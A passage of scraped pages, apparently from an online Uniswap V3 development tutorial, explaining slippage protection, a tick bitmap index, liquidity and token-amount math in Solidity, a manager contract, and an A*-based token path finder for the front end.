step.sqrtPriceNextX96, state.liquidity, state.amountSpecifiedRemaining ); Here, we want to ensure that computeSwapStep never calculates swap amounts outside of sqrtPriceLimitX96 this guarantees that the current price will never cross the limiting price. Slippage Protection in Minting # Adding liquidity also requires slippage protection. This comes from the fact that price cannot be changed when adding liquidity (liquidity must be proportional to current price), thus liquidity providers also suffer from slippage. Unlike swap function however, were not forced to implement slippage protection in Pool contractrecall that Pool contract is a core contract and we dont want to put unnecessary logic into it. This is why we made the Manager contract, and its in the Manager contract where well implement slippage protection. The Manager contract is a wrapper contract that makes calls to Pool contract more convenient. To implement slippage protection in the mint function, we can simply check the amounts of tokens taken by Pool and compare them to some minimal amounts chosen by user. Additionally, we can free users from calculating $\\sqrt{P_{lower}}$ and $\\sqrt{P_{upper}}$, as well as liquidity, and calculate these in Manager.mint() . Our updated mint function will now take more parameters, so lets group them in a struct: // src/UniswapV3Manager.sol contract UniswapV3Manager { struct MintParams { address poolAddress; int24 lowerTick; int24 upperTick; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; } function mint (MintParams calldata params) public returns ( uint256 amount0, uint256 amount1) { ... amount0Min and amount1Min are the amounts that are calculated based on slippage tolerance. They must be smaller than the desired amounts, with the gap controlled by the slippage tolerance setting. Liquidity provider expect to provide amounts not smaller than amount0Min and amount1Min . Next, we calculate $\\sqrt{P_{lower}}$, $\\sqrt{P_{upper}}$, and liquidity: ... IUniswapV3Pool pool = IUniswapV3Pool(params.poolAddress); ( uint160 sqrtPriceX96, ) = pool.slot0(); uint160 sqrtPriceLowerX96 = TickMath.getSqrtRatioAtTick( params.lowerTick ); uint160 sqrtPriceUpperX96 = TickMath.getSqrtRatioAtTick( params.upperTick ); uint128 liquidity = LiquidityMath.getLiquidityForAmounts( sqrtPriceX96, sqrtPriceLowerX96, sqrtPriceUpperX96, params.amount0Desired, params.amount1Desired ); ... LiquidityMath.getLiquidityForAmounts is a new function, well discuss it in the next chapter. Next step is to provide liquidity to the pool and check the amounts returned by the pool: if theyre too low, we revert. (amount0, amount1) = pool.mint( msg.sender, params.lowerTick, params.upperTick, liquidity, abi.encode( IUniswapV3Pool.CallbackData({ token0 : pool.token0(), token1 : pool.token1(), payer : msg.sender }) ) ); if (amount0 < params.amount0Min || amount1 < params.amount1Min) revert SlippageCheckFailed(amount0, amount1); Thats it! \\[ \\] Slippage Protection Slippage Protection in Swaps Slippage Protection in Minting", "labels": ["Documentation"]}, {"title": "Tick Bitmap Index #", "html_url": "https://uniswapv3book.com/docs/milestone_2/tick-bitmap-index/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Tick Bitmap Index Tick Bitmap Index Bitmap TickBitmap Contract Flipping Flags Finding Next Tick Tick Bitmap Index # As the first step towards dynamic swaps, we need to implement an index of ticks. In the previous milestone, we used to calculate the target tick when making a swap: function swap ( address recipient, bytes calldata data) public returns ( int256 amount0, int256 amount1) { int24 nextTick = 85184 ; ... } When theres liquidity provided in different price ranges, we cannot simply calculate the target tick. We need to find it . Thus, we need to index all ticks that have liquidity and then use the index to find ticks to inject enough liquidity for a swap. In this step, were going to implement such index. Bitmap # Bitmap is a popular technique of indexing data in a compact way. A bitmap is simply a number represented in the binary system, e.g. 31337 is 111101001101001 . We can look at it as an array of zeros and ones, with each digit having an index. We then say that 0 means a flag is not set and 1 means its set. So what we get is a very compact array of indexed flags: each byte can fit 8 flags. In Solidity, we can have integers up to 256 bits, which means one uint256 can hold 256 flags. Uniswap V3 uses this technique to store the information about initialized ticks, that is ticks with some liquidity. When a flag is set (1), the tick has liquidity; when a flag is not set (0), the tick is not initialized. Lets look at the implementation. TickBitmap Contract # In the pool contract, the tick index is stored in a state variable: contract UniswapV3Pool { using TickBitmap for mapping ( int16 => uint256 ); mapping ( int16 => uint256 ) public tickBitmap; ... } This is mapping where keys are int16 s and values are words ( uint256 ). Imagine an infinite continuous array of ones and zeros: Each element in this array corresponds to a tick. To navigate in this array, we break it into words: sub-arrays of length 256 bits. To find ticks position in this array, we do: function position ( int24 tick) private pure returns ( int16 wordPos, uint8 bitPos) { wordPos = int16 (tick >> 8 ); bitPos = uint8 ( uint24 (tick % 256 )); } That is: we find its word position and then its bit in this word. >> 8 is identical to integer division by 256. So, word position is the integer part of a tick index divided by 256, and bit position is the remainder. As an example, lets calculate word and bit positions for one of our ticks: tick = 85176 word_pos = tick >> 8 # or tick // 2**8 bit_pos = tick % 256 print( f \"Word { word_pos } , bit { bit_pos } \" ) # Word 332, bit 184 Flipping Flags # When adding liquidity into a pool, we need to set a couple of tick flags in the bitmap: one for the lower tick and one for the upper tick. We do this in flipTick method of the bitmap mapping: function flipTick ( mapping ( int16 => uint256 ) storage self, int24 tick, int24 tickSpacing ) internal { require(tick % tickSpacing == 0 ); // ensure that the tick is spaced ( int16 wordPos, uint8 bitPos) = position(tick / tickSpacing); uint256 mask = 1 << bitPos; self[wordPos] ^= mask; } Until later in the book, tickSpacing is always 1. After finding word and bit positions, we need to make a mask. A mask is a number that has a single 1 flag set at the bit position of the tick. To find the mask, we simply calculate 2**bit_pos (equivalent of 1 << bit_pos ): mask = 2 ** bit_pos # or 1 << bit_pos print(bin(mask)) #0b10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Next, to flip a flag, we apply the mask to the ticks word via bitwise XOR: word = ( 2 ** 256 ) - 1 # set word to all ones print(bin(word ^ mask)) here #0b1111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Youll see that 184th bit (counting from the right starting at 0) has flipped to 0. If a bit is zero, itll set it to 1: word = 0 print(bin(word ^ mask)) #0b10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Finding Next Tick # Next step is finding ticks with liquidity using the bitmap index. During swapping, we need to find a tick with liquidity thats before or after the current tick (that is: to the left or to the right of it). In the previous milestone, we used to calculate and hard code it , but now we need to find such tick using the bitmap index. Well do this in the TickBitmap.nextInitializedTickWithinOneWord function. In this function, well need to implement two scenarios: When selling token $x$ (ETH in our case), find next initialized tick in the current ticks word and to the right of the current tick. When selling token $y$ (USDC in our case), find next initialized tick in the next (current + 1) ticks word and to the left of the current tick. This corresponds to the price movement when making swaps in either directions: Be aware that, in the code, the direction is flipped: when buying token $x$, we search for initialized ticks to the left of the current; when selling token $x$, we search ticks to the right . But this is only true within a word; words are ordered from left to right. When theres no initialized tick in the current word, well continue searching in an adjacent word in the next loop cycle. Now, lets look at the implementation: function nextInitializedTickWithinOneWord ( mapping ( int16 => uint256 ) storage self, int24 tick, int24 tickSpacing, bool lte ) internal view returns ( int24 next, bool initialized) { int24 compressed = tick / tickSpacing; ... First arguments makes this function a method of mapping(int16 => uint256) . tick is the current tick. tickSpacing is always 1 until we start using it in Milestone 4. lte is the flag that sets the direction. When true , were selling token $x$ and searching for next initialized tick to the right of the current one. When false, its the other way around. lte equals to the swap direction: true when selling token $x$, false otherwise. if (lte) { ( int16 wordPos, uint8 bitPos) = position(compressed); uint256 mask = ( 1 << bitPos) - 1 + ( 1 << bitPos); uint256 masked = self[wordPos] & mask; ... When selling $x$, were: taking current ticks word and bit positions; making a mask where all bits to the right of the current bit position, including it, are ones ( mask is all ones, its length = bitPos ); applying the mask to the current ticks word. ... initialized = masked != 0 ; next = initialized ? (compressed - int24 ( uint24 (bitPos - BitMath.mostSignificantBit(masked)))) * tickSpacing : (compressed - int24 ( uint24 (bitPos))) * tickSpacing; ... Next, masked wont equal 0 if at least one bit of it is set to 1. If so, theres an initialized tick; if not, there isnt (not in the current word). Depending on the result, we either return the index of the next initialized tick or the leftmost bit in the next wordthis will allow to search for initialized ticks in the word during another loop cycle. ... } else { ( int16 wordPos, uint8 bitPos) = position(compressed + 1 ); uint256 mask = ~ (( 1 << bitPos) - 1 ); uint256 masked = self[wordPos] & mask; ... Similarly, when selling $y$, were: taking next ticks word and bit positions; making a different mask, where all bits to the left of next tick bit position are ones and all the bits to the right are zeros; applying the mask to the next ticks word. Again, if theres no initialized ticks to the left, the rightmost bit of the previous word is returned: ... initialized = masked != 0 ; // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick next = initialized ? (compressed + 1 + int24 ( uint24 ((BitMath.leastSignificantBit(masked) - bitPos)))) * tickSpacing : (compressed + 1 + int24 ( uint24 ((type( uint8 ).max - bitPos)))) * tickSpacing; } And thats it! As you can see, nextInitializedTickWithinOneWord doesnt find the exact tick if its far awayits scope of search is current or next ticks word. Indeed, we dont want to iterate over the infinite bitmap index. \\[ \\] Tick Bitmap Index Bitmap TickBitmap Contract Flipping Flags Finding Next Tick", "labels": ["Documentation"]}, {"title": "Generalize Minting #", "html_url": "https://uniswapv3book.com/docs/milestone_2/generalize-minting/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Generalize Minting Generalize Minting Indexing Initialized Ticks Token Amounts Calculation Generalize Minting # Now, were ready to update mint function so we dont need to hard code values anymore and can calculate them instead. Indexing Initialized Ticks # Recall that, in the mint function, we update the TickInfo mapping to store information about available liquidity at ticks. Now, we also need to index newly initialized ticks in the bitmap indexwell later use this index to find next initialized tick during swapping. First, we need to update Tick.update function: // src/lib/Tick.sol function update ( mapping ( int24 => Tick.Info) storage self, int24 tick, uint128 liquidityDelta ) internal returns ( bool flipped) { ... flipped = (liquidityAfter == 0 ) != (liquidityBefore == 0 ); ... } It now returns flipped flag, which is set to true when liquidity is added to an empty tick or when entire liquidity is removed from a tick. Then, in mint function, we update the bitmap index: // src/UniswapV3Pool.sol ... bool flippedLower = ticks.update(lowerTick, amount); bool flippedUpper = ticks.update(upperTick, amount); if (flippedLower) { tickBitmap.flipTick(lowerTick, 1 ); } if (flippedUpper) { tickBitmap.flipTick(upperTick, 1 ); } ... Again, were setting tick spacing to 1 until we introduce different values in Milestone 4. Token Amounts Calculation # The biggest change in mint function is switching to tokens amount calculation. In Milestone 1, we hard coded these values: amount0 = 0 . 998976618347425280 ether ; amount1 = 5000 ether ; And now were going to calculate them in Solidity using formulas from Milestone 1. Lets recall those formulas: $$\\Delta x = \\frac{L(\\sqrt{p(i_u)} - \\sqrt{p(i_c)})}{\\sqrt{p(i_u)}\\sqrt{p(i_c)}}$$ $$\\Delta y = L(\\sqrt{p(i_c)} - \\sqrt{p(i_l)})$$ $\\Delta x$ is the amount of token0 , or token $x$. Lets implement it in Solidity: // src/lib/Math.sol function calcAmount0Delta ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint128 liquidity ) internal pure returns ( uint256 amount0) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); require(sqrtPriceAX96 > 0 ); amount0 = divRoundingUp( mulDivRoundingUp( ( uint256 (liquidity) << FixedPoint96.RESOLUTION), (sqrtPriceBX96 - sqrtPriceAX96), sqrtPriceBX96 ), sqrtPriceAX96 ); } This function is identical to calc_amount0 in our Python script. First step is to sort the prices to ensure we dont underflow when subtracting. Next, we convert liquidity to a Q96.64 number by multiplying it by 2**96. Next, according to the formula, we multiply it by the difference of the prices and divide it by the bigger price. Then, we divide by the smaller price. The order of division doesnt matter, but we want to have two divisions because multiplication of prices can overflow. Were using mulDivRoundingUp to multiply and divide in one operation. This function is based on mulDiv from PRBMath : function mulDivRoundingUp ( uint256 a, uint256 b, uint256 denominator ) internal pure returns ( uint256 result) { result = PRBMath.mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0 ) { require(result < type( uint256 ).max); result ++ ; } } mulmod is a Solidity function that multiplies two numbers ( a and b ), divides the result by denominator , and returns the remainder. If the remainder is positive, we round the result up. Next, $\\Delta y$: function calcAmount1Delta ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint128 liquidity ) internal pure returns ( uint256 amount1) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); amount1 = mulDivRoundingUp( liquidity, (sqrtPriceBX96 - sqrtPriceAX96), FixedPoint96.Q96 ); } This function is identical to calc_amount1 in our Python script. Again, were using mulDivRoundingUp to avoid overflows during multiplication. And thats it! We can now use the functions to calculate token amounts: // src/UniswapV3Pool.sol function mint (...) { ... Slot0 memory slot0_ = slot0; amount0 = Math.calcAmount0Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(upperTick), amount ); amount1 = Math.calcAmount1Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(lowerTick), amount ); ... } Everything else remains the same. Youll need to update the amounts in the pool tests, theyll be slightly different due to rounding. \\[ \\] Generalize Minting Indexing Initialized Ticks Token Amounts Calculation", "labels": ["Documentation"]}, {"title": "Liquidity Calculation #", "html_url": "https://uniswapv3book.com/docs/milestone_3/liquidity-calculation/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Liquidity Calculation Liquidity Calculation Implementing Liquidity Calculation for Token X Implementing Liquidity Calculation for Token Y Finding Fair Liquidity Liquidity Calculation # Of the whole math of Uniswap V3, what we havent yet implemented in Solidity is liquidity calculation. In the Python script, we have these functions: def liquidity0 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return (amount * (pa * pb) / q96) / (pb - pa) def liquidity1 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return amount * q96 / (pb - pa) Lets implement them in Solidity so we could calculate liquidity in the Manager.mint() function. Implementing Liquidity Calculation for Token X # The functions were going to implement allow us to calculate liquidity ($L = \\sqrt{xy}$) when token amounts and price ranges are known. Luckily, we already know all the formulas. Lets recall this one: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}}L$$ In a previous chapter, we used this formula to calculate swap amounts ($\\Delta x$ in this case) and now were going to use it to find $L$: $$L = \\frac{\\Delta x}{\\Delta \\frac{1}{\\sqrt{P}}}$$ Or, after simplifying it: $$L = \\frac{\\Delta x \\sqrt{P_u} \\sqrt{P_l}}{\\sqrt{P_u} - \\sqrt{P_l}}$$ We derived this formula in Liquidity Amount Calculation . In Solidity, well again use PRBMath to handle overflows when multiplying and then dividing: function getLiquidityForAmount0 ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint256 amount0 ) internal pure returns ( uint128 liquidity) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); uint256 intermediate = PRBMath.mulDiv( sqrtPriceAX96, sqrtPriceBX96, FixedPoint96.Q96 ); liquidity = uint128 ( PRBMath.mulDiv(amount0, intermediate, sqrtPriceBX96 - sqrtPriceAX96) ); } Implementing Liquidity Calculation for Token Y # Similarly, well use the other formula from Liquidity Amount Calculation to find $L$ when amount of $y$ and price range is known: $$\\Delta y = \\Delta\\sqrt{P} L$$ $$L = \\frac{\\Delta y}{\\sqrt{P_u}-\\sqrt{P_l}}$$ function getLiquidityForAmount1 ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint256 amount1 ) internal pure returns ( uint128 liquidity) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); liquidity = uint128 ( PRBMath.mulDiv( amount1, FixedPoint96.Q96, sqrtPriceBX96 - sqrtPriceAX96 ) ); } I hope this is clear! Finding Fair Liquidity # You might be wondering why there are two ways of calculating $L$ while we have always had only one $L$, which is calculated as $L = \\sqrt{xy}$, and which of these ways is correct. The answer is: theyre both correct. In the above formulas, we calculate $L$ based on different parameters: price range and the amount of either token. Different price ranges and different token amounts will result in different values of $L$. And theres a scenario where we need to calculate both of the $L$s and pick one of them. Recall this piece from mint function: if (slot0_.tick < lowerTick) { amount0 = Math.calcAmount0Delta(...); } else if (slot0_.tick < upperTick) { amount0 = Math.calcAmount0Delta(...); amount1 = Math.calcAmount1Delta(...); liquidity = LiquidityMath.addLiquidity(liquidity, int128 (amount)); } else { amount1 = Math.calcAmount1Delta(...); } It turns out, we also need to follow this logic when calculating liquidity: if were calculating liquidity for a range thats above the current price, we use the $\\Delta x$ version on the formula; when calculation liquidity for a range thats below the current price, we use the $\\Delta y$ one; when a price range includes the current price, we calculate both and pick the smaller of them. Again, we discussed these ideas in Liquidity Amount Calculation . Lets implement this logic now. When current price is below the lower bound of a price range: function getLiquidityForAmounts ( uint160 sqrtPriceX96, uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint256 amount0, uint256 amount1 ) internal pure returns ( uint128 liquidity) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); if (sqrtPriceX96 <= sqrtPriceAX96) { liquidity = getLiquidityForAmount0( sqrtPriceAX96, sqrtPriceBX96, amount0 ); When current price is within a range, were picking the smaller $L$: } else if (sqrtPriceX96 <= sqrtPriceBX96) { uint128 liquidity0 = getLiquidityForAmount0( sqrtPriceX96, sqrtPriceBX96, amount0 ); uint128 liquidity1 = getLiquidityForAmount1( sqrtPriceAX96, sqrtPriceX96, amount1 ); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; And finally: } else { liquidity = getLiquidityForAmount1( sqrtPriceAX96, sqrtPriceBX96, amount1 ); } Done. \\[ \\] Liquidity Calculation Implementing Liquidity Calculation for Token X Implementing Liquidity Calculation for Token Y Finding Fair Liquidity", "labels": ["Documentation"]}, {"title": "Manager Contract #", "html_url": "https://uniswapv3book.com/docs/milestone_1/manager-contract/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Manager Contract Manager Contract Workflow Passing Data to Callbacks Implementing Manager Contract Manager Contract # Before deploying our pool contract, we need to solve one problem. As you remember, Uniswap V3 contracts are split into two categories: Core contracts that implement the core functions and dont provide user-friendly interfaces. Periphery contracts that implement user-friendly interfaces for the core contracts. The pool contract is a core contract, its not supposed to be user-friendly and flexible. It expects the caller to do all the calculations (prices, amounts) and to provide proper call parameters. It also doesnt use ERC20s transferFrom to transfer tokens from the caller. Instead, it uses two callbacks: uniswapV3MintCallback , which is called when minting liquidity; uniswapV3SwapCallback , which is called when swapping tokens. In our tests, we implemented these callbacks in the test contract. Since its only a contract that can implement them, the pool contract cannot be called by regular users (non-contract addresses). This is fine. But not anymore . Our next steps in the book is deploying the pool contract to a local blockchain and interacting with it from a front-end app. Thus, we need to build a contract that will let non-contract addresses to interact with the pool. Lets do this now! Workflow # This is how the manager contract will work: To mint liquidity, well approve spending of tokens to the manager contract. Well then call mint function of the manager contract and pass it minting parameters, as well as the address of the pool we want to provide liquidity into. The manager contract will call the pools mint function and will implement uniswapV3MintCallback . Itll have permissions to send our tokens to the pool contract. To swap tokens, well also approve spending of tokens to the manager contract. Well then call swap function of the manager contract and, similarly to minting, itll pass the call to the pool. The manager contract will send our tokens to the pool contract, the pool contract will swap them, and will send the output amount to us. Thus, the manager contract will act as a intermediary between users and pools. Passing Data to Callbacks # Before implementing the manager contract, we need to upgrade the pool contract. The manager contract will work with any pool and itll allow any address to call it. To achieve this, we need to upgrade the callbacks: we want to pass different pool addresses and user addresses to them. Lets look at our current implementation of uniswapV3MintCallback (in the test contract): function uniswapV3MintCallback ( uint256 amount0, uint256 amount1) public { if (transferInMintCallback) { token0.transfer(msg.sender, amount0); token1.transfer(msg.sender, amount1); } } Key points here: The function transfers tokens belonging to the test contractwe want it to transfer tokens from the caller by using transferFrom . The function knows token0 and token1 , which will be different for every pool. Idea: we need to change the arguments of the callback so we could pass user and pool addresses. Now, lets look at the swap callback: function uniswapV3SwapCallback ( int256 amount0, int256 amount1) public { if (amount0 > 0 && transferInSwapCallback) { token0.transfer(msg.sender, uint256 (amount0)); } if (amount1 > 0 && transferInSwapCallback) { token1.transfer(msg.sender, uint256 (amount1)); } } Identically, it transfers tokens from the test contract and it knows token0 and token1 . To pass the extra data to the callbacks, we need to pass it to mint and swap first (since callbacks are called from these functions). However, since this extra data is not used in the functions and to not make their arguments messier, well encode the extra data using abi.encode() . Lets define the extra data as a structure: // src/UniswapV3Pool.sol ... struct CallbackData { address token0; address token1; address payer; } ... And then pass encoded data to the callbacks: function mint ( address owner, int24 lowerTick, int24 upperTick, uint128 amount, bytes calldata data // <--- New line ) external returns ( uint256 amount0, uint256 amount1) { ... IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback( amount0, amount1, data // <--- New line ); ... } function swap ( address recipient, bytes calldata data) // <--- `data` added public returns ( int256 amount0, int256 amount1) { ... IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1, data // <--- New line ); ... } Now, we can read the extra data in the callbacks in the test contract. function uniswapV3MintCallback ( uint256 amount0, uint256 amount1, bytes calldata data ) public { if (transferInMintCallback) { UniswapV3Pool.CallbackData memory extra = abi.decode( data, (UniswapV3Pool.CallbackData) ); IERC20(extra.token0).transferFrom(extra.payer, msg.sender, amount0); IERC20(extra.token1).transferFrom(extra.payer, msg.sender, amount1); } } Try updating the rest of the code yourself, and if it gets too difficult, feel free peeking at this commit . Implementing Manager Contract # Besides implementing the callbacks, the manager contract wont do much: itll simply redirect calls to a pool contract. This is a very minimalistic contract at this moment: pragma solidity ^ 0 . 8 . 14 ; import \"../src/UniswapV3Pool.sol\" ; import \"../src/interfaces/IERC20.sol\" ; contract UniswapV3Manager { function mint ( address poolAddress_, int24 lowerTick, int24 upperTick, uint128 liquidity, bytes calldata data ) public { UniswapV3Pool(poolAddress_).mint( msg.sender, lowerTick, upperTick, liquidity, data ); } function swap ( address poolAddress_, bytes calldata data) public { UniswapV3Pool(poolAddress_).swap(msg.sender, data); } function uniswapV3MintCallback (...) {...} function uniswapV3SwapCallback (...) {...} } The callbacks are identical to those in the test contract, with the exception that there are no transferInMintCallback and transferInSwapCallback flags since the manager contract always transfers tokens. Well, were now fully prepared for deploying and integrating with a front-end app! Manager Contract Workflow Passing Data to Callbacks Implementing Manager Contract", "labels": ["Documentation"]}, {"title": "Price Oracle #", "html_url": "https://uniswapv3book.com/docs/milestone_5/price-oracle/", "body": "Price Oracle #", "labels": ["Documentation"]}, {"title": "User Interface #", "html_url": "https://uniswapv3book.com/docs/milestone_4/user-interface/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer User Interface User Interface AutoRouter A Simple Router Design User Interface # After introducing swap paths, we can significantly simplify the internals of our web app. First of all, every swap now uses a path since path doesnt have to contain multiple pools. Second, its now easier to change the direction of swap: we can simply reverse the path. And, thanks to the unified pool address generation via CREATE2 and unique salts, we no longer need to store pool addresses and care about tokens order. However, we cannot integrate multi-pool swaps in the web app without adding one crucial algorithm. Ask yourself the question: How to find a path between two tokens that dont have a pool? AutoRouter # Uniswap implements whats called AutoRouter , an algorithm that find shortest path between two tokens. Moreover, it also splits one payment into multiple smaller payments to find the best average exchange rate. The profit can be as big as 36.84% compared to trades that are not split . This sounds great, however, were not going to build such an advanced algorithm. Instead, well build something simpler. A Simple Router Design # Suppose we have a whole bunch of pools: How do we find a shortest path between two tokens in such a mess? The most suitable solution for such kind of tasks is based on a graph . A graph is a data structure that consists of nodes (objects representing something) and edges (links connecting nodes). We can turn that mess of pools into a graph where each node is a token (that has a pool) and each edge is a pool this token belongs to. So a pool represented as a graph is two nodes connected with an edge. And the above pools become this graph: The biggest advantage graphs give us is the ability to traverse its nodes, from one node to another, to find paths. Specifically, well use A* search algorithm . Feel free learning about how the algorithm works, but, in our app, well use a library to make our life easier. The set of libraries well use is: ngraph.ngraph for building graphs and ngraph.path for finding paths (its the latter that implements A* search algorithm, as well as some others). In the UI app, lets create a path finder. This will be a class that, when instantiated, turns a list of pairs into a graph to later use the graph to find a shortest path between two tokens. import createGraph from 'ngraph.graph' ; import path from 'ngraph.path' ; class PathFinder { constructor ( pairs ) { this . graph = createGraph (); pairs . forEach (( pair ) => { this . graph . addNode ( pair . token0 . address ); this . graph . addNode ( pair . token1 . address ); this . graph . addLink ( pair . token0 . address , pair . token1 . address , pair . tickSpacing ); this . graph . addLink ( pair . token1 . address , pair . token0 . address , pair . tickSpacing ); }); this . finder = path . aStar ( this . graph ); } ... In the constructor, were creating an empty graph and fill it with linked nodes. Each node is a token address and links have associated data, which is tick spacingswell be able to extract this information from paths found by A*. After initializing a graph, we instantiate A* algorithm implementation. Next, we need to implement a function that will find a path between tokens and turn it into an array of token addresses and tick spacings: findPath ( fromToken , toToken ) { return this . finder . find ( fromToken , toToken ). reduce (( acc , node , i , orig ) => { if ( acc . length > 0 ) { acc . push ( this . graph . getLink ( orig [ i - 1 ]. id , node . id ). data ); } acc . push ( node . id ); return acc ; }, []). reverse (); } this.finder.find(fromToken, toToken) returns a list of nodes and, unfortunately, doesnt contain the information about edges between them (we store tick spacings in edges). Thus, were calling this.graph.getLink(previousNode, currentNode) to find edges. Now, whenever user changes input or output token, we can call pathFinder.findPath(token0, token1) to build a new path. User Interface AutoRouter A Simple Router Design", "labels": ["Documentation"]}, {"title": "What We\u2019ll Build #", "html_url": "https://uniswapv3book.com/docs/introduction/what-we-will-build/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer What We'll Build What Well Build Smart Contracts Front-end Application What 